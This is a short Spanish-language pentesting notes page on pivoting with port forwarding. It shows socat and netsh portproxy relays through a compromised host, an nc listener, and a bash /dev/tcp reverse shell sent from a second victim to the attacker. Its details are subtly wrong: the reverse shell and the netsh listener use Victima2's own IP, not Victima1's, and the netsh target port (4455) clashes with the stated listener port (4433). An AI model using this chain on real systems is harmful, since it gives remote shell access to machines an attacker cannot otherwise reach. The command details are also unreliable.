Port Forwarding
Socat (Linux)
Si necesitamos reenviar el trafico que llega a un puerto hacia otra máquina con la que tengas conexión, puedes usar socat.
Tenemos dos máquinas víctima Linux y la de atacante, queremos obtener una reverse shell desde Victima2 a Atacante, pero Victima2 solo tiene conexión con Victima1, para eso usamos el redireccionamiento de puertos.
Atacante:
192.168.20.4
Victima1:
192.168.20.5
&172.18.100.15
Victima2:
172.18.100.16
En Victima1 ejecutamos socat
:
socat TCP-LISTEN:4455,fork TCP:192.168.20.4:4433
Le estamos indicando que toda conexión que llegue contra el puerto 4455
sea redirigida hacia el puerto 4433
de la dirección IP 192.168.20.4
(Atacante), levantemos ese puerto:
nc -lvp 4433
Y enviemos la shell desde Victima2 a Victima1:
bash -c 'bash -i >& /dev/tcp/172.18.100.16/4455 0>&1'
Listos, recibiría la petición al puerto 4455 y reenviaría ese contenido a 192.168.20.4:4433
netsh (Windows)
Imagina el mismo escenario de arriba, pero ahora Victima1 está corriendo el sistema operativo Windows
, básicamente es lo mismo, solo que en lugar de socat
usamos netsh:
netsh interface portproxy add v4tov4 listenaddress=172.18.100.16 listenport=4455 connectaddress=192.168.20.4 connectport=4455
Pueda que el comando no genere ningún output y pareciera que no se ejecutó, pero podemos validar la conexión ejecutando:
netsh interface portproxy show v4tov4
Y listones, nos pondriamos en escucha desde Atacante por el puerto 4433
y luego, desde Victima2 enviariamos la conexión con una reverse shell hacia Victima1 por el puerto 4455
.
Last updated